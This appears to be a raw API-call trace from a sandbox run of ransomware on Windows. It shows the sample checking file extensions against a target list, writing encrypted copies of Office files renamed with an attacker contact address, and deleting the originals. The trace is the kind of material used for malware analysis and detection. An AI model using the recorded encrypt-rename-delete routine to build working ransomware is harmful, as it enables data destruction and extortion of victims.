	[0047.147] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4130, lpOverlapped=0x0) returned 1
	[0047.148] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.148] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0047.148] SetEndOfFile (hFile=0x178) returned 1
	[0047.148] CloseHandle (hObject=0x178) returned 1
	[0047.149] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.149] SetEndOfFile (hFile=0x170) returned 1
	[0047.149] CloseHandle (hObject=0x170) returned 1
	[0047.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.150] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1
	[0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.150] lstrlenW (lpString=".doc") returned 4
	[0047.150] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.150] lstrlenW (lpString=".docx") returned 5
	[0047.150] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0047.150] lstrlenW (lpString=".pdf") returned 4
	[0047.150] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.150] lstrlenW (lpString=".xls") returned 4
	[0047.150] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.150] lstrlenW (lpString=".xlsx") returned 5
	[0047.150] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0047.151] lstrlenW (lpString=".ppt") returned 4
	[0047.151] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString=".zip") returned 4
	[0047.151] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.151] lstrlenW (lpString=".rar") returned 4
	[0047.151] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString=".bz2") returned 4
	[0047.151] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString=".7z") returned 3
	[0047.151] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString=".dbf") returned 4
	[0047.151] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString=".1cd") returned 4
	[0047.151] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString=".jpg") returned 4
	[0047.151] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.151] lstrlenW (lpString=".doc") returned 4
	[0047.151] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString=".docx") returned 5
	[0047.151] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0047.151] lstrlenW (lpString=".pdf") returned 4
	[0047.151] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.151] lstrlenW (lpString=".xls") returned 4
	[0047.151] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString=".xlsx") returned 5
	[0047.152] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0047.152] lstrlenW (lpString=".ppt") returned 4
	[0047.152] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.152] lstrlenW (lpString=".zip") returned 4
	[0047.152] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.152] lstrlenW (lpString=".rar") returned 4
	[0047.152] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString=".bz2") returned 4
	[0047.152] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString=".7z") returned 3
	[0047.152] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.152] lstrlenW (lpString=".dbf") returned 4
	[0047.152] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.152] lstrlenW (lpString=".1cd") returned 4
	[0047.152] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97
	[0047.152] lstrlenW (lpString=".jpg") returned 4
	[0047.152] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.152] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0047.152] lstrlenW (lpString="STOCKS.XML") returned 10
	[0047.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.153] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2687) returned 1
	[0047.153] CloseHandle (hObject=0x170) returned 1
	[0047.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20
	[0047.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.153] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.153] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0047.154] GetLastError () returned 0x0
	[0047.154] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0xa7f, lpOverlapped=0x0) returned 1
	[0047.155] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa80, lpOverlapped=0x0) returned 1
	[0047.156] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.156] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0047.156] SetEndOfFile (hFile=0x178) returned 1
	[0047.156] CloseHandle (hObject=0x178) returned 1
	[0047.156] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.156] SetEndOfFile (hFile=0x170) returned 1
	[0047.157] CloseHandle (hObject=0x170) returned 1
	[0047.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1
	[0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.158] lstrlenW (lpString=".doc") returned 4
	[0047.158] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString=".docx") returned 5
	[0047.158] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0047.158] lstrlenW (lpString=".pdf") returned 4
	[0047.158] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString=".xls") returned 4
	[0047.158] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString=".xlsx") returned 5
	[0047.158] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0047.158] lstrlenW (lpString=".ppt") returned 4
	[0047.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.158] lstrlenW (lpString=".zip") returned 4
	[0047.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.158] lstrlenW (lpString=".rar") returned 4
	[0047.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString=".bz2") returned 4
	[0047.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString=".7z") returned 3
	[0047.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.158] lstrlenW (lpString=".dbf") returned 4
	[0047.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString=".1cd") returned 4
	[0047.159] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString=".jpg") returned 4
	[0047.159] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString=".doc") returned 4
	[0047.159] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString=".docx") returned 5
	[0047.159] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0047.159] lstrlenW (lpString=".pdf") returned 4
	[0047.159] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString=".xls") returned 4
	[0047.159] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString=".xlsx") returned 5
	[0047.159] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0047.159] lstrlenW (lpString=".ppt") returned 4
	[0047.159] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString=".zip") returned 4
	[0047.159] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.159] lstrlenW (lpString=".rar") returned 4
	[0047.159] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString=".bz2") returned 4
	[0047.159] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.159] lstrlenW (lpString=".7z") returned 3
	[0047.159] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.159] lstrlenW (lpString=".dbf") returned 4
	[0047.160] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.160] lstrlenW (lpString=".1cd") returned 4
	[0047.160] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0047.160] lstrlenW (lpString=".jpg") returned 4
	[0047.160] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.160] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0047.160] lstrlenW (lpString="TIME.XML") returned 8
	[0047.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.160] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8564) returned 1
	[0047.160] CloseHandle (hObject=0x170) returned 1
	[0047.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20
	[0047.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.161] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.161] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0047.161] GetLastError () returned 0x0
	[0047.161] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x2174, lpOverlapped=0x0) returned 1
	[0047.163] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2180, lpOverlapped=0x0) returned 1
	[0047.164] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.164] WriteFile (in: hFile=0x178, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0047.164] SetEndOfFile (hFile=0x178) returned 1
	[0047.164] CloseHandle (hObject=0x178) returned 1
	[0047.164] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.164] SetEndOfFile (hFile=0x170) returned 1
	[0047.165] CloseHandle (hObject=0x170) returned 1
	[0047.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.165] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1
	[0047.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.165] lstrlenW (lpString=".doc") returned 4
	[0047.166] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString=".docx") returned 5
	[0047.166] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0047.166] lstrlenW (lpString=".pdf") returned 4
	[0047.166] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString=".xls") returned 4
	[0047.166] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString=".xlsx") returned 5
	[0047.166] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0047.166] lstrlenW (lpString=".ppt") returned 4
	[0047.166] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.166] lstrlenW (lpString=".zip") returned 4
	[0047.166] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.166] lstrlenW (lpString=".rar") returned 4
	[0047.166] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString=".bz2") returned 4
	[0047.166] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString=".7z") returned 3
	[0047.166] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.166] lstrlenW (lpString=".dbf") returned 4
	[0047.166] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.166] lstrlenW (lpString=".1cd") returned 4
	[0047.166] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.166] lstrlenW (lpString=".jpg") returned 4
	[0047.166] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString=".doc") returned 4
	[0047.167] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString=".docx") returned 5
	[0047.167] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0047.167] lstrlenW (lpString=".pdf") returned 4
	[0047.167] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString=".xls") returned 4
	[0047.167] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString=".xlsx") returned 5
	[0047.167] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0047.167] lstrlenW (lpString=".ppt") returned 4
	[0047.167] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString=".zip") returned 4
	[0047.167] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.167] lstrlenW (lpString=".rar") returned 4
	[0047.167] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString=".bz2") returned 4
	[0047.167] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString=".7z") returned 3
	[0047.167] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString=".dbf") returned 4
	[0047.167] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString=".1cd") returned 4
	[0047.167] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76
	[0047.167] lstrlenW (lpString=".jpg") returned 4
	[0047.167] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.168] lstrcmpiW (lpString1=".XSL", lpString2=".Acuf2") returned 1
	[0047.168] lstrlenW (lpString="BASMLA.XSL") returned 10
	[0047.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.168] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=227311) returned 1
	[0047.168] CloseHandle (hObject=0x170) returned 1
	[0047.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20
	[0047.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0047.168] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.169] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
